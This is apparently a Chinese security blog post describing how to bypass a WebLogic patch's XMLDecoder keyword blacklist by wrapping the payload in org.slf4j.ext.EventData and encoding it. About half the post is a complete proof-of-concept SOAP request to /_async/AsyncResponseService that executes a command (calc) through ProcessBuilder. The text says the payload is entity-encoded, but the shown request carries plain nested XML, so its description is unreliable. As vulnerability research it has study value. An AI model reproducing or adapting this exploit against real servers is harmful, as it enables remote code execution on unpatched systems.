0x00 前言
在对大佬们高版本的POC进行分析后,我把重点放在了如何绕过黑名单限制上,那么利用XML可以解析的其它编码格式尝试一下绕过。
0x01 补丁回顾
首先回顾一下这个经典的补丁截图,摘自:
http://www.sd.edu.cn/info/1011/1131.htm
可以看到对object、new、method关键字做了限制,而且对于array数组的长度也做了限制,不得大于10000。
0x02 高版本POC分析
现在网上也公开了12.1.3版本的POC,利用org.slf4j.ext.EventData类进行反序列化操作,这个类的构造方法如下:
可以看到这个类需要接收一个XML的字符串,那么POC构造如下:
那前面也看到了补丁限制了一些关键字,而需要解析的XML恰好含有这些关键字,绕过的思路就是整个的XML字段真的当作一个字符串传入,CDATA包含的字符串正好可以作为XML文本去解析。
0x03 绕过思路扩展
说到这里大家可能就明白了,只要是XML能够解析的编码格式都可以一试,此时想起了前不久看到的《WAF Bypass之xerces解析》,这篇文章对XML的解析格式进行了分析,其中一种简便快捷的方式就是HTML实体编码,欸,讨巧了,直接尝试将org.slf4j.ext.EventData类的构造参数用实体编码传入试一下:
很快啊,计算器啪地一下就弹出来了
POC如下:
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.188.130:7001
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: /
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
Content-Length: 1946
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><class><string>org.slf4j.ext.EventData</string><void><string><java version="1.8.0_131" class="java.beans.XMLDecoder"><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="1"><void index="0"><string>calc</string></void></array><void method="start" /></object></java></string>
</void></class>
</java>
</work:WorkContext>
</soapenv:Header> <soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
0x04 总结
应该还有其它的编码绕过,希望有时间去搞吧。
参考链接
https://blog.csdn.net/weixin_30408739/article/details/99877655
https://xz.aliyun.com/t/7116
https://www.anquanke.com/post/id/209826
http://www.sd.edu.cn/info/1011/1131.htm